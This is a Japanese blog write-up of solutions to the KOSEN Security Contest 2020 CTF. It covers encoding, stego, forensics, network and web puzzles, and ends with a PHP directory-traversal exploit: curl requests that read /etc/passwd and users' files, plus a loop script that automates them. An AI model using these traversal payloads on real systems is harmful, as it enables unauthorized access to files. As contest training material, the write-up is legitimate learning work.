KOSENセキュリティコンテスト2020 Write up

はじめに

KOSENセキュリティコンテスト2020に参加しました。
成績は19位でした!
Write Upを書きたいと思います。

デコードせよ

encode/crypto
points
POINTS
50
[問題内容]

FLAG%7B%25encoding%3C!%3E%7D
HINT: URLエンコードやパーセントエンコーディングと呼ばれます


[解法]
Decoded!
FLAG{%encoding<!>}ゲット!

TECH UNLIMITEDさんありがとうございました! https://tech-unlimited.com/urlencode.html

rotten3

encode/crypto
points
POINTS
100

[問題内容]
ファイル「rotten3」を復号し、フラグを読み取ってください。

[解法]
どう考えてもシーザ暗号なのは明白なので,先頭6文字を1文字ずつずらしてみます.
# 平文
PLAIN = """<ugzy>
<urnq>
<zrgn uggc-rdhvi=Pbagrag-Glcr pbagrag="grkg/ugzy; punefrg=fuvsg_wvf">
<zrgn anzr=Trarengbe pbagrag="Zvpebfbsg Jbeq 15 (svygrerq)">
</urnq>
<obql ynat=WN fglyr='grkg-whfgvsl-gevz:chapghngvba' otpbybe=oynpx>
<qvi pynff=JbeqFrpgvba1 fglyr='ynlbhg-tevq:18.0cg'>
<sbag pbybe=juvgr>
<c pynff=ZfbAbezny><fcna ynat=RA-HF>Gur gehgu vf nyjnlf uvqr va gur oynpx.</fcna></c>
<c pynff=ZfbAbezny><fcna ynat=RA-HF>-- Pna lbh svaq vg?</fcna></c>
<vzt  jvqgu=34 urvtug=11 onpxtebhaq-pbybe="#000000;" fep="qngn:vzntr/cat;onfr64,vIOBEj0XTtbNNNNAFHuRHtNNNDxNNNNvPNLNNNOZqPjyNNNNNKAFE0VNef4p6DNNNNEaDH1ONNPkwji8LDHNNNNWpRuMpjNNQfZNNN7QNpqidTDNNNCaFHEOIUur7MrApnjjQVFiYtdvadfzmIjkOTCJi2gfp4oxowLm37j8VqiFFuoxfFlYRRVHbHLuuNQHXVDDtOdSRNWDbkOPNTbHDtuNwHVVNnuEPPRNADbuOXOTVLDN1PvRRVNnuENPHBC38Sdr02CA0wNgm9qdcK5vJK6JrqAcKa/osbwCnZY6ORmC9pa2D9Lj/vY2f+lkMwz2nVR8YoAAqy9/UqGLElR5j5nts15A6zq2n8h+fINB0yvi51GMd4+s2Mk1ogv8f/Lr/zcVkWdtMt9ogZF/kC8MRfH6O73A+7IUP9lcr/Xykw4DpBxPgN4W78qSKUSPc+XLWfaCgjHoW6FTkN28afgHdi8UHX1mG34UianN3AAC1AwUbPUuOWafi9y+nBWJLKNhTlwzUPA8+Ci6tktpsd0gsxWwVk+iEI4re5CCrDbUnBGGNinMylsrGuhuyg7Uoc1bD31JJ/dTKBzYYDMnGGLj6cZmBd4j90FUq3hxL0tpnGU6X/xVnhkwmWPNVZnUsznu6N3vJvcQVfGfzEHiK29woO1FZKkg0bQhGCtu1zOqE5A5sZ6h4IlmVm/4WC+Cmxy8HWBtGdM2/L3e4mha7+v4jau2EiIVgK5gJambxZvkPswa5LFFVzpA7RKkuH8YzDv6A0c+5e4hXEVGUGMpeASQtuM6w9hrzrvl+GOoQo7TkbGmHk+zH+mwngVIlmShm+VyLblBv+H+dRp6uilkSahZAcwNCu5d7XZ2OBcQjbxEWVjTqz++4cpR9g8YN79vt/NTvP/Z7ugq2VLTBVPg9p2pp8rDvWf+9JR6SKjvmhawjM49+4lBn19/EL90QVz6Si5hhKglNqGLk7gQjw+aBQSYtvIQNin9rCzMiNUvPkCoeu4F5DVw5/OlZ1fAivMh+gFa9+ltwaoQ4SxC4/XmaVye3++XUwx1WSur+7B3gT6QTigbUjY0rsHYjn9QDJYE4SpnUdaNiNUl4hKepnaBGT2+ggNRdloJwm0/ncjFMR2Jo+eQqV19GQ2vzvMi1FbzudDB0Xzi+DsUus2h6WUFxBwHtt2fd6QTCvOHsHuxGCZlU6k1DlRFQj0ExkpyY6Py0NNTSAOEJNiLUxIXn7x+1jlWOXcefP8TrVo18HCo034EImX9G+lkRps+qymLo2FCyYGR804gCzkV/S/fWB65GA8XTDQvb7SQ4glsie1D47qj/oEA3ubZ9wLnEhi5qj+WHodZ1iri6mJX0yslAIQw9kO+lg8mqs8aqj8WpD3kxYiwGj0QADbuOXOTVLDN1PvRRVNnuENPHXZDDtOdSRVVDV1PPNTbHDtuNQHXVLEyrsjPNxaJ/CZ8cRVNNNNNFHIBEX5PLVV=">
<fcnaynat=RA-HF>Bs pbhefr, V jvyy abg sbetrg vg.Lrnu!</fcna></c>
<c pynff=ZfbAbezny><fcna ynat=RA-HF>-- Ernyl?</fcna></c>
<c pynff=ZfbAbezny><fcna ynat=RA-HF>Bu?Uzzz�cBu zl�c</fcna></c>
<c pynff=ZfbAbezny><fcna ynat=RA-HF>Bbcf, V sbyybjrq gur synt ng n qvfgnapr,
ohg ybfg fvtug bs vg va n srj fragrapr.</fcna></c>
<c pynff=ZfbAbezny><fcna ynat=RA-HF>Jurer vf gur synt?</fcna></c>
<c pynff=ZfbAbezny><fcna ynat=RA-HF>-- V qba�fg xabj.</fcna></c>
</qvi>
</sbag>
</obql>
</ugzy>
"""
 
enc = ""
KEY = 13
 
for KEY in range(1,24):
   enc += str(KEY)
   enc += ": "
   hoge = ""
   for char in list(PLAIN):
       ASCII = ord(char)
       if 64 < ASCII and ASCII < 91 :
           num = ASCII - 65
           num = (num + KEY) % 26
           ASCII = num + 65
           hoge += chr(ASCII)
       elif ASCII < 123 and 96 < ASCII:
           num = ASCII - 97
           num = (num + KEY) % 26
           ASCII = num + 97
           hoge += chr(ASCII)
       else:
           hoge += char
   enc += hoge[0:6]
   enc += "\n"
 
# 65-90
 
print(enc)
結果は以下の通りです.
1: <vhaz>
2: <wiba>
3: <xjcb>
4: <ykdc>
5: <zled>
6: <amfe>
7: <bngf>
8: <cohg>
9: <dpih>
10: <eqji>
11: <frkj>
12: <gslk>
13: <html>
14: <iunm>
15: <jvon>
16: <kwpo>
17: <lxqp>
18: <myrq>
19: <nzsr>
20: <oats>
21: <pbut>
22: <qcvu>
23: <rdwv>
先に書いたコードは最終的なソルバーです.この時点では不正確なプログラムだったのでうまく復号化できていませんでした.なんとなくキーは13なんじゃないかとあたりをつけ,暗号くん(https://ango.satoru.net/)で復号してみます.

画像を新しいタブで開いてみると…
うまく復号できていないですね….
暗号くんは小文字を大文字にしてしまう仕様のようで,画像データ部qngn:vzntr/cat;onfr64,vIOBEj0XTtbNNNNAFHuRH...を全部大文字出力してしまっていたようです.
他のサイトも試したのですが,いい感じに復号出来なかったので素直にソルバーを直します.
※先の最終版ソルバーを使用
           hoge += char
   enc += hoge #[0:6] <- ここ消す
   enc += "\n"
以上で正しいデータを出力できます
このとき,画像だけを抽出し白黒を反転すると
FLAG{rot_ten_plus_3_is_rot13}ゲット!
単純なシーザ暗号でしたが,シーザ暗号書くの初めてだったのでかなり苦戦しました…><

docxのもう一つの顔

forensics/stego
points
POINTS
50
[問題内容]
画像が破損している!?


[解法]
you_and_ctf.docxというドキュメントファイルが配布されたので,開いてみます.
あなたとコンビニファミリーマート!
ではなく,どうやらFLAGが掲載された画像が表示されません.
docxファイルはデータをzipで固めてるだけなので,拡張子をzipに変更して展開します.
画像を開いてFLAG入手完了です!
FLAGはFLAG{ALT+I+P+W}でした!
問題のWordファイルでALT+I+P+Wを実行するとワードアートギャラリーが出てくるとのことです。確かに昔こんなワードアートありましたね…🤔

RBF攻撃

forensics/stego
points
POINTS
100
[問題内容]
会員サイトにリバースブルートフォース攻撃が行われた。  特定のパスワードと不特定のユーザIDの組み合わせで大量のアクセス試行が行われたようである。  ログイン試行がされたユーザ一覧の情報はあるが、実際にログインが成功したかはログでは不明であった。  攻撃者が用いた特定のパスワードは解析により得ることができた。  以下の情報からログインが成功してしまったユーザ名を調査せよ。 そのユーザ名がフラグである。

・ログイン試行履歴アカウント(LoginAttemptHistory.txt)
-ユーザ名
-パスワード(MD5)
・特定パスワード一覧(AttackPasswordList.txt)
フラグは下記の書式で入力ください。
FLAG{文字列}


[解法]
問題ファイルとして”LoginAttemptHistory.txt”と”AttackPasswordList.txtが渡されています。”LoginAttemotHistory”にはユーザ名とMD5でハッシュ化されているパスワードが書かれています。”AttackPasswordList.txt”には攻撃するときに使われたパスワードが書かれています。
リバースブルートフォース攻撃とは、不正ログインを目的とするアカウント突破手法のうち、特定のパスワードと、ユーザーIDに使用され得る文字列の組み合わせを用いて総当り的にログインを試みる手法のことです。つまり攻撃者はUserIDを知っている状態で、パスワードを総当たり攻撃したということですね。
本問題では攻撃されたパスワードからUserIDを探すことでフラグとなるUserIDが分かります。
“AttackPasswordLisst.txt”の内容を1行ずつMD5に変換→”LoginAttamptHistory.txt”でハッシュ化された文字列を探す
を繰り返していくとFLAGとなるUserIDが分かります。
MD5に変換するときに使ったところ : https://so-zou.jp/web-app/converter/md5/
因みに攻撃されたパスワードは”p@ssword”で”FLAG{Isabella}”が正解でした。

Find1

forensics/stego
points
POINTS
100
[問題内容]
この中に一つだけ、FLAGが書かれたbmpファイルがあるらしい……


[解法]
ファイルエクスプローラ上でファイル形式を確認すると,1つだけBItmap形式のファイルが紛れていることがわかります.このファイルを開くと
よって,FLAGはFLAG{Celestial_Method}でした.

Find2

forensics/stego

points

POINTS

200


[問題内容]
Find1だけじゃ物足りないですよね!!
あなたならFLAGが書かれたbmpファイルを探し出せると信じています!!
[解法]
1万個のbitmapから,フラグの書かれている画像を見つける問題です.
最初はfeh(超軽量の画像ビューワー)で一枚ずつ見ていこうかと思ったのですが,3万枚を見たところでゲシュタルト崩壊が起きて別の手法を使うことにしました.

※ここから迷走※

ハズレ画像は似たような画像だったため,画像のハッシュ値を求めて異なるものを見つけることにしました.
ImagehashというPythonライブラリを使って以下のコードを動かしてみます.
import os
from PIL import Image
import imagehash
 
userpath = '/home/kaniyama/Downloads/Find2/'  # 検索するパス
 
for i in range(1,1000):
   hash_2a = imagehash.average_hash(Image.open(userpath+ str(i)))
   if(str(hash_2a) != "0xfce2b1676256d649"):
       print(str(i))
試しにrange(1,10)で動かして見た結果を以下に貼っておきます.
1
2
3
4
5
6
7
8
9
どうやらハッシュ値での比較は厳しいようです…

※解(想定解かは不明)※

ハッシュ値での比較はあきらめました.画像を眺めていくうちに気づいたことがもう一つあります.1万個の画像のうちハズレの画像は1bit1bit乱数で貼っているようでbitごとに色が全く違うのです,そこで2つのbit([0,0]と[0,1])を比較しするコードを,Pillowを使って書いてみます.
from PIL import Image
 
for i in range(1,10000):
   im = Image.open("/home/kaniyama/Downloads/Find2/"+str(i))
   onePx = im.getpixel((0,0))
   twoPx = im.getpixel((0,1))
   if(onePx == twoPx):
       print(i)
       break
結果
4940
一つに定まりました!この画像を開くと
FLAG{Night_of_the_Meteor_Shower}が手に入りました!

値段の比較はお手の物

programming
points
POINTS
200
[問題内容]
まさるくんはノリが命。買い物もテキトウです。
まさるくんの代わりに適切な商品を選んでください。

[解法]
実はCTFの1週間前にSelenium()を使ってウェブサイトを操作する環境を整えていたので,Kotlinで書いていきます.

Main.kt
fun main() {
   // Seleniumロード
   System.setProperty("webdriver.gecko.driver","/usr/bin/geckodriver")
   val driver: WebDriver = FirefoxDriver()

   driver.get("http://52.175.155.247:5000")
   Thread.sleep(1000*8)
   while(true) {
       val q = driver.findElements(By.xpath("//*[@id=\"message\"]"))[0].text.trim().replace("\n","")
       println("問題;$q \n")
       var answer = ""
       answer = if(q.contains("最安")){
           getSortedItemlist(driver)[0].first
       }else if(q.contains("最高")){
           getSortedItemlist(driver)[19].first
       }else if(q.contains("安")){
           val qPosition = q.let{
               val e = it.indexOf("番目")
               it.substring(0,e).toInt() - 1
           }

           println("qposition: $qPosition")
           getSortedItemlist(driver)[qPosition].first
       }else if(q.contains("高")){
           val qPosition = q.let{
               val e = it.indexOf("番目")
               (20 - it.substring(0,e).toInt())
           }

           println("qposition: $qPosition")
           getSortedItemlist(driver)[qPosition].first
       }else{
           throw Exception("問題名$q")
       }

       println(answer)

       driver.findElements(By.xpath("//*[@id=\"name\"]"))[0].sendKeys(answer)
       driver.findElements(By.xpath("/html/body/div/div/div/div/form/button"))[0].click()
       Thread.sleep(50)

   }
}

fun getSortedItemlist(driver: WebDriver): List<Pair<String,Int>>{

   val items = driver.findElements(By.xpath("/html/body/div/div/div/div/div/div/div"))

   val itemlist = ArrayList<Pair<String,Int>>()
   for(item in items) {
       val name = item.findElements(By.xpath("div[1]"))[0].text.trim().replace("\n","").let {
           val s = it.indexOf(":")+1
           it.substring(s,it.length).trim()
       }

       val price = item.findElements(By.xpath("div[3]"))[0].text.trim().let {
           val e = it.indexOf("円")
           it.substring(3,e).trim().toInt()
       }

       itemlist.add(Pair(name,price))
   }
   val resultlist = itemlist.sortedBy { it.second }
   for(l in resultlist){
       println("> 商品名;${l.first}")
       println("> 価格;${l.second}")
   }
   return resultlist
}
build.gradle
plugins {
   id 'java'
   id 'org.jetbrains.kotlin.jvm' version '1.3.72'
}

group 'org.example'
version '1.0-SNAPSHOT'

repositories {
   mavenCentral()
}


dependencies {
   def selenium_version = "3.141.59"
   implementation "org.jetbrains.kotlin:kotlin-stdlib"
   testCompile group: 'junit', name: 'junit', version: '4.12'
   implementation "org.seleniumhq.selenium:selenium-java:3.141.59"
   implementation "org.seleniumhq.selenium:selenium-firefox-driver:3.141.59"
   implementation "com.google.code.gson:gson:2.8.6"
   testImplementation("org.seleniumhq.selenium:selenium-java:${selenium_version}")
   testImplementation("org.seleniumhq.selenium:selenium-support:${selenium_version}")
   testImplementation("org.junit.jupiter:junit-jupiter-api:5.5.2")
   testRuntimeOnly("org.junit.jupiter:junit-jupiter-engine:5.5.2")

   implementation "com.slack.api:slack-api-client:1.2.1"
}

tasks.jar {
   manifest {
       attributes 'Main-Class': 'MainKt'
       attributes "Class-Path": "."
   }
   from {
       configurations.compileClasspath.collect {
           it.isDirectory() ? it : zipTree(it)
       }
//        configurations.compile.collect {
//            it.isDirectory() ? it : zipTree(it)
//        }
   }
※必要ない依存関係も含まれています.
こいつを動かすとフラグが手に入ります.環境整ってたのに一番乗りできなかったのが悔しいです.来年は絶対に一番乗りするぞ!!!

おいしく焼けました

web
points
POINTS
100

[問題内容]

下記の問題サーバからフラグを探し出しましょう。

[解法]

Cookieを使った問題です。アクセス数がCookieに保存されていて、ある一定回数以上アクセスすればFLAGが出てきました。

アクセス回数を増やすためにはどうすれば分かるかな?そうだね、F5連打だね☆
はい、F5連打をしました。500回くらい。問題サーバに負荷をかけてしまって申し訳なく思っております。
[解法]

ChromeでF12キーを押すと開発者モードを開くことが出来ます。その上記タブにある”Application”>Cookies(左にある)を開くと、サイトが取得しているCookieが分かります。

問題サイトではアクセス数を取得しているみたいですね。開発者モードを開いたままF5を押すと、Valueが増えていくことが分かります。

このValueの値は変更することができ、50000とかにすればCookie上にFLAGが出てきます。

例えF5を50000回連打してもFLAGは出てきませんので、やめましょう。

ホストの台数

network
points
POINTS
50
[問題内容]
ネットワーク 192.168.10.0/26 に参加できるホストは最大で何台か
フラグの形式は半角数字2桁です。
FLAG{半角数字2桁}


[解法] https://yamagata.int21h.jp/tool/cidrcalc/? このサイトでホストのレンジを計算してくれるので、それで回答しました。

DNSは知っている

network
points
POINTS
150 [問題内容]
flag.example.jp について下記の DNS サーバに問い合わせてみよう
HINT:DNSには複数のレコードが存在します

[解法]
これはKOSEN SECCON2019と全く同じ問題でした.
Hiroya_W様の記事を読んでみてください.

(https://qiita.com/Hiroya_W/items/91079b043f86d2c77517#%E5%90%8D%E5%89%8D%E3%82%92%E8%A7%A3%E6%B1%BA%E3%81%97%E3%81%9F%E3%81%84) 尚,最初問い合わせるDNSキャッシュサーバの指定時にポート番号も書いてdigしたため,アクセスできないよ!と怒られ20分溶かしました.気づいたときはおもわず「恥ずかしッツ!!」って声が出てチームメンバーに生暖かい目で見られたぜ…(遠い目)


誤:dig -t TXT example.com @dnsserver.example.com:5353
正:dig -t TXT -p 5353 example.com @dnsserver.example.com

Simple HTTP

network

points
POINTS
50
[問題内容]
このパケットからフラグを読み取ってください。


[解法] 問題文にもある通り、HTTPの通信が行われてそうですので、HTTPについて見てみます。ファイル→オブジェクトをエクスポート→HTTPで保存し、保存されたHTTPファイルを見てみると、FLAGが表示されます。

FLAG{HTTP is Simply!}

寄生虫のようなマルウェア

network
points
POINTS

300
[問題内容]
Helminthとは
主な意味
蠕虫、蠕虫類
発音記号・読み方
/hlmnθ(米国英語)/ 
攻撃者がDNSトンネリングを行うマルウェア「Helminth」を用いて私のPCにある大変貴重なフラグを覗き見てしまった。
しかし幸いにも我々はその一部始終をパケットとして記録することができた。
どのような情報が取られたのか私に教えて欲しい。
※FLAGの形式はFLAG{}です。
※FLAGの末尾に存在する改行コードは無視してください


[解法]
上記の記事を参考にさせてもらいました。
IPアドレス35.35.35.35が転送終了の合図とのことで、その前後を調べました。(まだよくわかってません…) 変換については、このサイトを使いました。
http://www.unit-conversion.info/texttools/hexadecimal/
IPアドレス35.35.35.35の後の5つのフレームについてデータを抜き出し、変換してみると…
(s.comは不要)

変換前
00L01000JQ30D0A433A5C55736572735C7368753E747970652022433A5C
00L01001YRE50726F6772616D2046696C65735C526F6F6B69655C435446
00L01002QSF5C464C41472E74787422200D0A464C41477B48656C6D696E
00L010034YQ74685F6E69686F6E676F5F64655F6B697365696368755F72
00L01004K33617369796F21777777777D0D0A
変換後
C:\Users\shu>type "C:\Program Files\Rookie\CTF/\FLAG.txt" 
FLAG{Helmin4th_nihongo_de_kiseichu_rC66���wwww��
このあたりは完全にはわからなかったのですが、色々推測しながらFLAGを奪取しました。

一時停止

binary
points
POINTS
50

[問題内容]
ファイルの種類を特定し、正しい拡張子に変えれば、おのずと答えが分かるであろう。

[解法]
問題ファイルとしてFile.zipを渡されます。とりあえず展開してfileコマンドを走らせてみると、

File : RIFF (little-endian) data, AVI, 600 x 480, >30 fps, video: uncompressed

という結果が帰ってきます。

はい、AVI形式ですね。
今回使っていた環境でAVIを開くことが出来なかったので、Windows環境だった後輩に任せました。(彼がzipファイルの展開を有料ソフトに乗っ取られてて7-zipを入れたりするのに20分かけたのは別の話) 
FileをFile.aviにリネームして開くと2秒目くらいにFLAGが表示されました。

PHP Beginner Practice 1

exploit/pwn
points
POINTS
200
[問題内容]
下記の情報をもとにサーバを攻略せよ!
※Practice 1では最初に手に入ると考えられるuser.txtのフラグを送信してください。
【注意事項】
FLAGはrootユーザのホームディレクトリにあるroot.txtと、一部ユーザのホームディレクトリにあるuser.txtに記載されています。
フラグの書き換えやサーバのシャットダウン、攻略情報の共有など、他の参加者の妨げになる行為は控えるようお願いします。
また、本環境は定期的にロールバックされます。 


[解法]
競技終了後に作者から解説がありましたが,念の為書いておきます.

問題のサイトに行くと,curl http://<Server>/readFile.php -F “file=hello_hogehoge.txt”なリンクが置いてあるので,ディレクトリトラバーサルします.

../…/../etc/passwdより
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing
List
Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats
Bug-Reporting
System
(admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
mysql:x:101:101:MySQL
Server,,,:/var/lib/mysql:/bin/false
pomeranian:x:1000:1000:,,,:/home/pomeranian:/bin/bash
dachshund:x:1001:1001:,,,:/home/dachshund:/bin/bash
でユーザ一覧がわかるので,問題文より各ユーザのホームディレクトリを探すソルバーを書きます.
import os
import time
 
ulist=[
"root",
"bin",
"sys",
"sync",
"games",
"man",
"lp",
"mail",
"news",
"uucp",
"proxy",
"www-data",
"backup",
"list",
"List",
"Manager",
"irc",
"gnats",
"Bug-Reporting",
"System",
"(admin)",
"nobody",
"_apt",
"mysql",
"Server",
"pomeranian",
"dachshund"
]
 
for u in ulist:
   print(os.system("curl -X POST -F \"file=../../../home/"+u+"/user.txt\" http://52.175.155.247:8103/readFile.php"))
   time.sleep(0.01)
これでFLAGが手に入ります.※出力結果はサーバが閉じており再現できませんでした…><

おわりに

皆様、お疲れさまでした!
楽しかったです!